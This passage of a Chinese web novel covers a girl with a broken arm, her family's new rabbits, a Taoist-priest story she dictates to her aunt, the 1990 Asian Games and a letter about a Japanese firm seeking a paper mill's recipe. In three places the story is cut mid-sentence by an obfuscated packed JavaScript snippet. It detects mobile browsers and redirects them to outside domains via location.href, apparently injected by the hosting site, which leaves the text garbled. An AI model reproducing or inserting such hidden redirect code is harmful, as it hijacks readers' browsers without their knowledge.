回来之后，十只兔子被放出来休息了好半天，谁也没想到，兔子竟然还会晕车，不但会晕车，还会吐呢。 大家远远的围观兔子，十分担心它们会不会挂掉。 为了方便携带，这些兔子体型不大，才刚断奶不久，又坐了几个小时的车，死了好像也是很正常的，就怕所有兔子都出事了，那徐正义这趟可就白去了。 好在这十只兔子原本就是特地挑的体格健壮的，大概一个小时后，就从奄奄一息的状态中恢复过来，还有两只已经开始啃食姥姥准备的菜叶子，大家这才松了口气。 马丽丽工作后曾经养过一只兔子当宠物，曾经了解过不少关于养兔子的知识。 如果是家养当宠物，当然最好是喂干草或饲料。如果是大量养殖的话，最经济实惠的就是路边各种野菜、豆科牧草（如三叶草，苜蓿等等），还有稻草、豆杆子，玉米杆子之类的。 有人说兔子不能喝水，其实都是谬传，因为兔子的肠胃比较脆弱，如果大量喝水或者喝了不干净的水，容易因为肠胃病而嘎掉。 一般来说，如果是喂野菜野草菜叶子的话，这些青绿饲料中的水分，对兔子来说就已经足够了。像宠物兔这样只喂干草和兔粮的，就必须准备饮水器了。 而且像他们这样需要兔子赶紧长肥长大的，还需要时不时喂一些精饲料，比如玉米、麦子、稻谷之类，甚至黄豆、豆饼、鱼粉、骨粉和盐。 马丽丽曾经看过一个视频，说这世上没有不吃肉的（高等）动物，你以为那些食草动物都不吃肉吗？它们那是没条件，要是你人工适当给它开个荤，你看它吃不吃？ 在马丽丽的暗示下，姥姥准备的菜叶都经过清洗，并且晾干了，有的上面还撒了点细盐吸引兔子去吃。 有食欲才能有体力活下去。 等天都黑了之后，这些小兔子们才完全恢复了活力，这时徐正义才上前把它们都抓进鸡棚的笼子里。 木头笼子在太阳下暴晒了两天，消除杂味。里面还放了姥姥孙梅布条子、碎布、旧棉花，做的布垫子。 笼子的另一个角上堆满了半干的野菜野草和番薯藤、空心菜梗、南瓜藤，这几个现在菜地里多的很，正好让兔子也帮忙消耗一些。 “也不知道这兔子吃不吃鸭饲料？都是吃草的，应该也能喂吧？还有鸡蛋壳，兔子也会吃吗？”孙梅嘀咕。 这些都是孙梅经常用来喂鸭子喂鸡的，长肉可快了，如果可以，她也想给兔子试试。 徐高远一回来就大肆嘲笑了马丽丽一番，“你可真行啊，马丽丽。” 哼！马丽丽早知道自家小舅就是这副德行。 “看我无敌风火轮！” 马丽丽做势要解开布条，徐高远顿时慌了。 “哎哎哎，你干嘛！你赢了，你赢了，赶紧把手给我放下！” 马丽丽做了个鬼脸，把手重新挂上。 徐高远出了一身冷汗：“你可真够行的呀，马丽丽，你的手要是再弄一次你姥姥姥爷还不要我命啊。” “哼～” 徐高远吐槽：“哼，你还哼，你知不知道这几只兔子，我和你姥爷俩人是怎么拎回来的？我俩在市里头转车的时候，人家还以为我们俩是卖兔子的，还有人来问多少钱一只。” “哈哈哈哈哈。”马丽丽和徐明红都大笑起来。 “你俩还笑。” 徐高远转向马丽丽：“马丽丽，你说你要怎么补偿我？” “切，又不是我让你带兔子的。”马丽丽转念一想，“你要什么补偿？” 徐高远搓搓手，“你之前勾的那个，带花边的纱布，是不是勾了一个大的，三角形的，边上带须须的，中间一朵大花的？” “好啊，小舅舅，原来你早就打好主意了。”马丽丽大叫起来。 马丽丽每次码字或者刷题累了的时候，都会做各种手工来放空大脑，只是有时候她会做一些徐高远看起来很不划算的东西。 比如厂里发的劳保手套，大家一般会把手套拆了，用白纱线钩纱裤，但是马丽丽却会把徐正义和孙振华的手套，拿来勾一些不实用的东西，比如铺在沙发上，电视机上或是桌子上的台布，看是好看，但是这玩意儿有些徐高远眼里压根就不挡灰，有啥用啊？ 也就俩老头惯着她。 有时候马丽丽甚至还会和徐明红一起捣鼓一些稀奇古怪的东西。 前年暑假的时候，马丽丽和徐明红俩人，突发奇想，玩什么染色，从山上弄了些树叶，草根，野果子，费了四个劳保手套的线，差点报废了一口锅，被徐正义骂得狗血喷头。 但你别说，最后弄出来的蓝还挺好看的，以徐高远这种直男眼光来说也觉着好看。 最后，马丽丽用这些线钩了一个披肩，自己收起来了。 徐高远当时依旧觉得，披肩这种东西除了好看，真是不实用，漏风……那会还是年轻了，没结婚，没有欣赏的眼光。 “想得美，这可是绝版。”马丽丽才不干，那时候她和小姨两人费了多大的劲啊，还挨了一顿臭骂，“要给也是，是，是以后给小姨，是吧？” “就是，小哥，你那会儿不是说既不好看也不实用吗？怎么现在想起来了？那你可是想多了，想也白想。”徐明红怼道。 徐高远：如今，他这不是结婚了，有老婆了嘛。 “切，不给算了。”反正他也只是试试。 兔子到家正是新鲜的时候，别说马丽丽，就连几个上班的大人下班回家的时候也忍不住要摘点叶子回来喂兔子，问就是马丽丽让他们摘的。 马丽丽：啊对对对。 不过兔子粮食的主力还是菜地里种的菜，不管是空心菜梗（叶）、番薯藤（叶）、南瓜藤（叶），还是包菜、青菜、大小白菜，都是嫩的人吃，吃不了的和老叶子一起洗洗阴干，做为鸡鸭兔子的干粮。 之前拔掉的玉米杆、豆秧子，还有西红柿杆子等等，孙梅都整理干净晒干剁碎了，以前是给鸡鸭吃，现在又多了兔子，这些又不够了，孙梅还问附近种菜的人要了一些。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415134|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除此之外，平时上下菜地，徐明惠和马天华也会砍一些灌木和草叶回来。马天华找了几个附近乡下的老表，分别预定了不少新鲜打完谷子的稻杆和晒干的稻草，这样冬天兔子的粮草也有了，虽然不知道兔子吃不吃，但也要了些糠，兔子不吃也不浪费，鸡鸭会吃。 为了兔子大家也是操碎了心，总之万事具备，就等兔子长肥之后宰了。 兔子：为我花生，为我花生啊！兔子的命也是命！ 马丽丽今天重新恢复早课，之前几天还能说是骨折手痛多睡会，现在都习惯了。 手只是骨折了，可是早课却空了十天啊！ 送走上班的爸妈，一个小时后，马丽丽的溜出家门，去找小姨。 这个点正好，上班的大家都已经到了办公室，找领导的还在准备材料，路上走廊上都没什么人，马丽丽去徐明红办公室也没人注意。 “你才来。”跟徐明红同办公室的同事调走了，现在就徐明红一个人一间办公室，自在的很。 “快，我准备好了。”徐明红催促。 “啊你着什么急啊。”马丽丽倒是不慌不忙的，“我要保持现在有灵感的状态懂不，不然一着急把想好的忘了怎么办？” “呸。”徐明红轻啐一声。 两人很快进入状态，一个说一个写，轻车熟路。 话说宋飞道士当的愈发的里驾轻就熟。只是有一件事让他困惑，虽然他发现每次请他去做法的事到最后总是可以用科学的方式解决和解释，他也努力宣扬大家要相信科学不要迷信。 但不知道为什么，不知不觉年纪轻轻的他却成了附近远年闻名的“驱魔”老道士，总是有人慕名而来请他去做法.事，然后还因为他的年龄怀疑他是不是本人。 除了这件事有些纠结之外，宋飞平日里的日常生活平淡又繁忙，平日里要种田种菜，还要忙着看书考证，偶尔还要帮乡亲们看病、做.法事、看风水，后来还回应别人的请求去外地做法.事，这日子一天天过的，真是忙得不可开交。 因为事情太多，宋飞还将田地租给了村里一个无田的单身汉，种出来的粮食两人五五分，也足够养活两个成年男性。 因为宋飞时常外出，消息多见识广，还常帮村里人与外界交往，村长一琢磨，这宋飞是一只白天鹅，如果村里头没有啥利益牵住他，那他迟早得飞走。 村里有一家绝了户的老人，卧病在床，估计时日不多，如果他去世了，按照村里的规矩，他名下的五亩田就得归公重新分配。 村长有个想法，在与村里相关人员商量协调后，大家都同意，这老人去世前的事，和去世后的身后事，都交给道士宋飞。 待老人去世后，这五亩田明义上归公，使用权就归宋飞，不管他是自己做还是租给别人种都行，产出归他。 宋飞考虑了良久，同意了。 果然，在老人去世后宋飞将老人的身前身后事都处理的妥妥当当，他自己就是道士，发事自然也是做的风风光光。 那五亩田原本便是有人在租种，宋飞也没有另找人，依旧租给他家，租金也没变。 多了收入，宋飞手中也宽裕了一些，终于不用再抠抠索索的花钱买书、交费考证了，并且由此一来，宋飞在村里人心里，才算是正正式式安安稳稳的落了户。 这天宋飞又收到一封信，里面还夹着十块钱，这可是大钱，宋飞感慨寄信人的有钱和心大，随即展开信纸。 79.第七十九章 写信的是一位无助的父亲，他说他的儿子被僵尸咬了，现在逐渐僵尸化。 到他写信，这天已经第三天了，他的儿子开始出现了一些僵尸特征，比如身体开始僵硬，走路变成蹦哒，双手平举，眼睛发直，并且开始畏光，白天也不出门，晚上更加活跃。 各种症状跟电视里演的一模一样。 好在他儿子的僵尸化程度还不深，平日里还能在别人的帮助下吃喝拉撒，也没有发狂的症状，最多就是在床上平躺。 这给了父亲极大的希望，在四处打听后，得知了宋飞往日的“英勇事迹”，这位父亲便迫不及待的写信来请求宋飞前往。担心宋飞会拒绝，这位父亲干脆随信寄来的十块钱，当做定金和路费。 这位父亲在信中写明，他不是不想亲自来请，只是太担心儿子，会在他离开后出事。 这倒没有什么，但是这新的内容着实了宋飞感到困惑。 僵尸？什么僵尸？好小众的词汇，这玩意儿是他能解决的吗？ 不等等，这世界上真有僵尸这么离谱的东西吗？ 为了保险起见，宋飞把舅舅留下的笔记，从头到尾翻了一遍，又把各类经书符箓书看了一遍，都没有看到详细的记载。 宋飞只好抄了一些他认为的重点符咒，又画了一些黄符以防万一。 来信的县其实也不算远，但是没有直达的车，转了两趟车宋飞才到地。 父亲在看到宋飞本人时也同样怀疑他身份，宋飞立刻拿出他新到手的道士证，这才确定了身份。 不怪这位父亲如此谨慎，因为他是县里某单位的职工，万一被人知道请道士来搞“封建迷信”，可能会有严重后果。 儿子本是小学三年级，已经以生病为由请假在家，就关在他自己的房间里。 作为家庭妇女的母亲担心儿子恶化，便找了他喜欢的玩具放在床上，还时常念他喜欢的故事书，但是儿子却好像并不感兴趣，平躺在床上一动不动，每天十分规律的上三次厕所，很少喝水，饭量也大减。 关严实门窗，宋飞换上道袍，在父母期盼的眼神中单独进入房间，一见到他，原本躺在床上的儿子突然张牙舞爪龇牙咧嘴，一副要咬人的样子。 一阵乱响过后，宋飞淡定出来，脸上微微有些纠结。他对孩子的父母说：“原因我大概猜到了，也能治，但是我希望治好后你们不要对他生气，有话好好说。” 父母听到一半还来不及高兴就一脸问号。 ？？？ 什么意思？不明白，不过先治好再说。 宋飞让父母把自己的孩子带出来按在椅子上，自己在厨房一阵捣鼓，拿出来一碗清水，又拿出一张黄符纸和毛笔，沾了清水一阵龙飞凤舞。 姿势倒是挺优美，就是画了半天，纸上啥也没有。 对面六眼懵逼。 过了一会儿，突然，原本空无一物只是略湿的黄纸上慢慢浮现出一道血红色的符咒，看着怪渗人的。 宋飞点燃一根火柴把黄符烧成灰扔进水里，水里出晕出一片血红，他对对面三人说道：“我要先说一下，这符水对僵尸是解药，对活人却是毒药，喝后会五脏六腑剧痛无比，好像有人在捏你心脏，给肠子打结，然后七窍流血而亡，哦，当然，这是对活人而言，僵尸是不怕的，僵尸痛完会变回活人。呃，你们是要现在给他喝吗？” 父亲/母亲：“当然！” 儿子：“我不喝！” 父亲/母亲：“……？？？” 儿子：“我不喝！我不想死！我不是僵尸，我是假装的！” 面对这种情形，宋飞表现的十分淡定，他起身端着“符水”去厕所倒了，又去厨房把碗洗干净。 回到客厅，儿子还在极力向父母解释：“我，我，我就是不想读书，那个王老师老骂我，还用棍子打我手QAQ” 父亲/母亲：…… 到现在事情已经非常明了了，父亲忍气先对宋飞说：“道长，你看这……” 宋飞换好衣服，接过父亲塞的一小卷钱，一边十分熟练的表明自己会为此事保密，他展示了自己好不容易考来的行医资格证，说：“您客气了，小孩子生病很正常，只是您孩子的病偏门了一点，所以才找我来的不是？您放心，包好的。” 父亲十分惊喜的道谢：“是是是，对对对，谢谢谢谢。” 宋飞犹豫了一会，还是对父亲说：“孩子还小，这么做也有原因，批评批评就得了。” 父亲：“您说的是，您说的是。” 主客两人客气的说了两句话，就相互分别。 宋飞还没走到楼底下呢，就听见楼上传来一阵鬼哭狼嚎，看来这父亲完全没把他说的话听进去呀。 宋飞摇摇头，心道，孩子我可尽力了，只怪你自己把这事做的太出格了。 随即，他突然拍了一下自己的脑袋。哎呀，刚才忘记说明那张血色符咒的科学原理了，应该不会被误会真搞了封建迷信吧？ 宋飞转念又一想，刚才那情形他也不好多逗留呀，算了算了，反正就这么一家三口，这事也不会外传。 宋飞心安理得的把钱拿出来数了数，二十来块钱，有零有整，应该不是事先准备好的报酬，宋飞也不介意，怎么算他也赚了。 唉，还是单位铁饭碗好呀，旱涝保收，福利又高。 不过宋飞很快就振作起来，他现在日子过得也不算差，而且时常还有乐子看，就比如今天这事儿，那小子还真是个人才啊。 坐在返回的车上，宋飞一边复盘今天的处理过程，一边嘿嘿嘿的乐，他准备回去之后就把这事详细的写在笔记中。 虽然不能到处宣扬的人尽皆知，但是以往的案例宋飞都详细的记录了下来，就和舅舅当年做的一样，也是为了后人有迹可循。 宋飞万万没想到，这是他回去之后，却在道观里看见一个人。 …… …… 徐明红等了半天，不见下文，忍不住抬头看向马丽丽：“后面呢？宋飞回去看见谁了？” 马丽丽脸滚办公桌，“我也不知道，还没想好。” 徐明红：我倒。 徐明红：“什么叫你还没想好？那你还说他看见一个人？” 马丽丽：“因为前面的套路千篇一律的，大家差不多也看腻了，我想加个新角色，有点新奇感嘛。” 徐明红：“……” 徐明红：“那然后呢？接着说呀？” 马丽丽：“没有了，明天再写吧，没灵感了。” 有时候徐明红真的很想把作者打一顿，如果作者不是她亲外甥女的话。 “夏阿姨再见。”目送对方离开，马丽丽顿时由之前端庄、优雅、假笑变回咸鱼、滚脸、平躺。 “今天怎么这么多人啊。”马丽丽超级无语，今天她一早来的时候，徐明红还挺悠闲的，谁知从九点半之后就陆续有人来找徐明红。 有的是拿来文件要她排版打印，有的是手写的通知要她打成印刷体的，还有过来借文具的、领东西的，打印好的文件还要回去确认或是找领导签字，回来还要多份打印，再分给各个科室…… 总之徐明红也是忙得不可开交。 终于可以休息了，但是也快到下班时间了。 “累死我了。”徐明红也趴在了桌子上，突然想起什么，一个挺身，检查桌子上没有油墨，这才又瘫软下来。 马丽丽发出灵魂拷问：“我说小姨，你这干的也就是文员的活吧，以后可以有什么晋升渠道吗？不然一辈子就光干打字，不需要中专文凭也可以的啊。” 企业不说秘书，只是有写作文员读作打字员的工种。 徐明红：“……”说的也是，当初这么拼死拼活考上中专是图什么啊？ “可是我也不知道啊，啊啊啊！好烦。”徐明红挠头。 “我看你还是趁刚工作不久多到各个办公室串串门，看有没有别的什么需要做的事，主动申请一下，啥都做点，让别人知道知道你呗，要不过工作了两年你还更不敢厚着脸皮去了，我还不知道你。”马丽丽怂恿。 徐明红直接放弃，“我又不是男的，升职也当不了厂长。” “想多了，还挑上了你，你看夏老师，我是说夏阿姨，人家不也是女的，还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15423628|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是领导，以后说不定也是厂长，不过你就别想了。” 夏阿姨名为夏冬，还有一个双胞胎姐妹叫夏秋，她俩的父母十分促狭，名为冬的是姐姐，名为秋的反而是妹妹。 夏冬夏秋两姐妹和徐明惠一样都是电厂子女，三人同年考入师范，同年回厂进学校当老师，既是朋友，也是同学，又是同事。 夏冬原本和徐明惠一样，都是初中数学组的老师，但是教了几年书之后她却走了另一个赛道，离开学校回电厂，当了一个普通科员，如今是宣传科的副科长。 据马丽丽所知，这位夏冬阿姨后来一路向上，先是做了自己厂的厂长，后来又调到其他电厂去做厂长，总之就是各种厂长，最后在厂长的岗位上退休的。 虽然名为宣传科，但其实宣传科的工作除了在厂内上下宣贯各种学习文件政策，还包括了许多对外事务，比如各电厂之间的人员交流、参观学习考察，处理外调人员遇到的各种事情等等。 宣传科需要处理的文件特别多，所以经常会有人来找徐明红。 马丽丽跟着小姨来上班这几天，就经常碰到夏冬阿姨，她很明显能够感觉出对方对徐明红的照顾之心，多少也是看在了徐明惠的面子上，说不定其中也有看着徐明红从小长大的原因。 总之，人家已经走出了一条堪称教科书式的光明大道，小姨这条咸鱼别说抱人家大腿，只要能学会五分，未来怎么着也能作为一个科长退休吧？ 马丽丽这么一说，徐明红只挠挠头，一脸茫然：“啊，是这样吗？我也没觉得她有照顾我呀。” 马丽丽绝倒，人家都这么明显的暗示你领导的性格和习惯，还指明了你要对哪些文件多学多看，学习写材料，这还不叫照顾？除了姥爷和我妈，谁会跟你说这些？ 唉，刚出校园象牙塔不久不懂人情世故的清澈（愚蠢）中专生是这样的，要是很明确的感知到了别人在对自己走后门搞特殊化，还会在道德上有一种羞愧羞耻感。 马丽丽挑的更明白，徐明红这才恍然大悟。 马丽丽很无语，话说好像除了姥爷和妈，其他人，包括爸爸马天华，要不就很不醒水要不就懒得交际，就连马丽丽自己直到三十岁了，对人情世故还是懵懵懂懂，还是后来信息大爆炸和在工作中吃了亏才慢慢学会一些“看眼色”。 “而且你看你刚才怎么称呼人家的？夏科长，多生分呀，我妈说以前你小时候都叫人家大夏姐小夏姐的，现在也可以叫起来啊，又不是在学校了，人家也不是老师了。” “啊～”徐明红觉得很别扭，“那……不好不好，我在学校都没这么叫过。” “嗐，这有什么，你在学校也没叫我妈徐老师，还不是直接叫姐。” “……”这倒是。 其实人只要说服自己就行。 马丽丽努力说服徐明红：“你看王军”，她举了个例子，“在家我也叫他王叔王老师什么的，在外头还不是叫他王军，他说什么了吗？” 徐明红：等会儿，好像有哪里不对吧？ 没什么不对，马丽丽继续洗脑：“反正有人的时候叫人家夏科长，没人的时候叫大夏姐呗，有啥关系，人也不是傻子，还能你叫两声就咋样，想多了吧你。” 徐明红一想也是，一个称呼又能怎么样啊？这个办公楼里是亲戚关系的也不是没有，没见人家就直接叫名字的，还不是一样姑姑姐夫的叫。 “哎，行吧，以后我就不来了，你好好看文件吧，怎么说就算是样子也得做做呗，要不就自己学着写的通知啥的，夏阿姨肯定是看好你呦，加油~哦对了，小说给我，我自己拿回去改下。”马丽丽说。 徐明红只是不懂，又不是真傻，她整理整理一下稿子交给马丽丽：“切，后天都放假了，我们可以在家写呀。” 马丽丽：“……你要不要这么努力啊，有灵感再说吧，国庆有两天假呢，别到时你自己玩疯了。” 徐明红：“哈……才！两天，有什么玩的，都玩遍了，不然又是去爬山，没劲，今年你这样又不能玩染色了，要不我们可以再找点线来染啊。” 都惦记我的披肩是吧，滚！ 80.第八十章 国庆节正好是星期一星期二，只有两天假，三号就是中秋，但是中秋没假，上三天班，是大礼拜，双周末。 虽然假放的断断续续的，不过没有调休，马丽丽个人觉得比那种纯粹想让你去花钱消费东凑西凑的长假好多了。 马丽丽：放不起就别放！ 就跟马丽丽想的一样，一放假徐明红完全不想再写字了，她，还有马丽丽两人在电视机前蹲守了一天。 今天可是一个重要的日子，因为今天男子双打和女子单打决赛要决出冠军，还有女子双人3米跳板和男子双人10米跳台决赛，也要决出冠军了。 马丽丽站在椅子上高唱：“我们亚洲~山是高昂的头，我们亚洲~河像热血流，我们亚洲~树都根连根，我们亚洲~云也手握手……” 今年是种花家第一次举办亚运会，熊猫盼盼一出现就是绝对的顶流，马丽丽还做了一个盼盼的绣花贴，不管换哪件衣服都能缝在袖子上。 在亚运会开幕式那天，学校甚至还放假让大家回家看电视直播（当然第二天的作文是少不了的）。 再看一次马丽丽还是心潮澎湃，作文写的那叫一个妙笔生花，语文老师让几个写的好的同学用稿纸誊抄了一遍，给几个小学生报纸投了稿，马丽丽信心满满，还私下指导了其他同学格式问题……哪知才交了稿子第二天就摔断了手。 马丽丽：真是好心没好报！（声嘶力竭） 从好的地方想，马丽丽这几天算是把喜欢的赛事都追完了。她特地在电视报上圈出了自己想看的赛事，还让姥爷提醒她看。 马丽丽最喜欢的运动员是乒乓球女单冠军邓亚萍和跳水一米板三米板双料冠军高敏、十米跳台冠军许艳梅。话说很久之后她才知道，原来许艳梅就是章市的一个县里出来的运动员，而且她今年过年会回家过年呢。 马丽丽：啊……有没有机会去偶遇一下子啊？ 乒乓球界第一代大魔王邓亚萍可以说是九十年代的运动偶像，也是从这次亚运会，世界女乒正式进入“邓亚萍时代”。 别看人家小小一只，和对手握手还被俯视，看眼神就让你知道，什么叫老虎再小也是吃肉的。 身高劣势也被邓亚萍变成了她的优势：别人需要拉高的球，她却可以直接扣杀。而且她心态特别稳，输球面无表情，赢球不动声色，动起手来又快又猛，一局球结束的很快，节奏尽在掌握。 看邓亚萍打球很有一种看爽文的感觉，还是逆袭打脸文。 对手心态崩了，什么人啊这是。 大概也是从邓亚萍这位初代大魔王开始，种花家女乒历代大魔王打球的时候都有一点儿“你狂任你狂清风拂山岗”的高冷范，不过偶尔也会出现“你搞哭的你去哄啊！让俩球不就好了！”之类的搞笑反差。 “哦耶~！！” 最后一局胜利，屏幕内外观众都欢呼起来。马丽丽和徐明红抱在一起大叫，孙梅在旁边惊呼：“马丽丽，你给我停下，看你的手！” 孙振海听着隔壁的大呼小叫，鼻子里哼了一声，从桌子上拿过杯子吃了两片药。 哎呦这球看的，确实有点费心脏。 孙振海关了电视，扶了扶老花镜，随手拿了封信看，自从写了篇文章被央妈转发了之后，他常常会收到一些外地来信，虽然不太懂，但他也喜欢看。 比如这封昨天收到的信，是来自皖省的一个小纸厂，信纸用的就是自己厂生产的，写的还挺长。 说的是他们厂近几年效益不好，厂长就想引入外来资金，没想到有一个脚盆鸡国的公司说很感兴趣想投资，他们也不懂，只认为有外来的和尚好念经，生怕对方不满意，原本的安排是极力展现自己厂的实力。 对方已经出发在路上的时候，纸厂的技术员突然就在报纸上看到了孙振华的文章，什么不怀好心借着外资的名义其实是想盗窃我们秘方之类这段，看得技术员心里直嘀咕。 该说不说，他们这个县的纸做的好那是从古至今都闻名的，老厂子老作坊都自己有秘方。就连现在讲究要相互学习交流，大家也只展示都知道的，真正的秘方都捂得紧着呢，也就是觉着脚盆鸡国这来的都是外国人不懂，给他们看了也没什么。 但这万一……哎，你别说哈，脚盆鸡国，提起来就膈应，要不是国家政策说要保持友好，又看在钱的份上，厂长也不想找对方，就这厂长还不敢大肆宣扬，生怕被老职工骂汉奸。 技术员自己悬着心，拿报纸去给厂长看，厂长也是心里发毛，想拒绝吧，厂子一直亏损，想引资吧，怕脚盆鸡不怀好心。 最后厂长也是决定，就跟招待其他兄弟单位一样，只给脚盆鸡看表面，如果对方要了解核心机密，就以只是合资不是卖厂拒绝，如果对方强硬要看，那就直接赶出去，还有什么好说的，那肯定是不怀好心啊。 哪知还真被厂长说中了，脚盆鸡国的人就是奔着秘方来的，那些表面的东西人家早就熟知，而且还一直以不让看秘方就不投资作要挟。 这还有啥说的，厂长二话不说就委婉客气（气势汹汹）的把对方赶出去了。这脚盆鸡国竟然十分不死心，还想贿赂员工偷秘方，结果反被员工举报了。 厂长立马给派出所、上级领导和兄弟单位打电话，把脚盆鸡国企图偷咱秘方的事通通报告一遍。 截止到写信的时候，脚盆鸡国的人也还没离开，只是全县的人好像都变成了监视人员，脚盆鸡国人的一举一动都在大家眼皮子底下了。 好家伙，一下子变成抗日战争谍战片了是吧？ 估计大家在家都把什么《地道战》《地雷战》《铁道游击队》之类的给复习了一遍。 写这封信的人，就是那位技术员，虽然文笔一般，又有些话唠，但是孙振华每次读完信，心里都有一种很爽快的感觉。 作为一个老东北，孙振华小时候住的村子，包括他的亲朋好友，死于那场战争中的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452231|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可不少。 每次想到脚盆鸡国，孙振华都会有一种想提刀的冲动。虽然近几十年因为政治和经济的各种原因，国家都讲究友好交流，但孙振华总是相信帝国主义亡我之心不死，跟别说是脚盆鸡了，能有啥好人啊？ 孙振华：见他们吃瘪我就开心。 想到这个点子最早还是马丽丽最先提出来的，孙振华也想让马丽丽看看这封信乐呵乐呵，趁着她今天在隔壁看电视，孙振华就去把马丽丽叫过来，把信给她看。 果然马丽丽看完也是好一顿笑，她甩了甩信纸，学着老头子们摸胡子的动作摸了摸下巴，说：“这厂长还挺厉害的，万一人家没这个意思，合资又告吹了，那他麻烦可就大了。” 孙振华嗤了一声，“越是缺钱缺合作的时候，越是得稳住心态，再说了，这脚盆鸡能有啥好东西？唉，早些时候咱们国家为了赚外汇，往外头亏本卖了多少好东西？这些外国资本家啊，都是闻着味儿来我们这占便宜的。” 孙振华没有这种事不该跟马丽丽说，或是她听不听得懂的想法，就是单纯想感慨一下。 马丽丽倒是又有了一个点子，“哎，孙爷爷你说，咱们省会不会也有这种想跟外国人合作，然后又吃亏的厂子？要不……怎么给省长写封信？” “嗐，拉倒吧，就你聪明。”孙振华十分嫌弃的说，“你当人家都是傻子？什么政府办公室没订报纸？该知道的都能看到，就怕有的人不是真傻也是装傻，什么秘方啊，牌子呀，哪有真金实银到手来的实惠？” 孙振华看的很是透彻。 马丽丽一想也是，不管有没有心，还得看国家出不出手，家里要是饭都吃不上了，那还不是有啥卖啥？ 如今有很多国营单位其实都是亏损状态，一直都靠国家养着，再过几年，市场经济盘活，国家逐渐放开，国营单位自负盈亏，那时候出现大批的下岗工人，更是什么牛鬼蛇神都有。 国庆两天假之后，上了三天班，又是一个大礼拜。 没有再去徐明红的办公室码字，马丽丽在家尝试了一下自己写，发现果然还是不行。 尝试左手的话，慢还不是大问题，书写方向不同，注意力完全集中在了“把字写对”这件事上，完全忘记了干嘛要写字，还不如断掉的右手。 右手臂保持不动，只动手指头的话其实写字还是不成问题的。 只是不能太使劲，手痛。 也不能写太快，手痛。 更不能写的太久，手痛。 摔，这是写了个寂寞呀，完全跟不上脑子的速度。 医务所马丽丽熟，但她感觉太多人在一起办公了，一群人在一起办公，闲下来能干嘛？她这一去岂不是自投罗网？ 而且还有一个，医务所没有厕所，想上厕所得去对面文化宫后面的公用厕所。小时候马丽丽都是蹲沟边上上小号，现在她才不要。 NONONO！ 死都不要！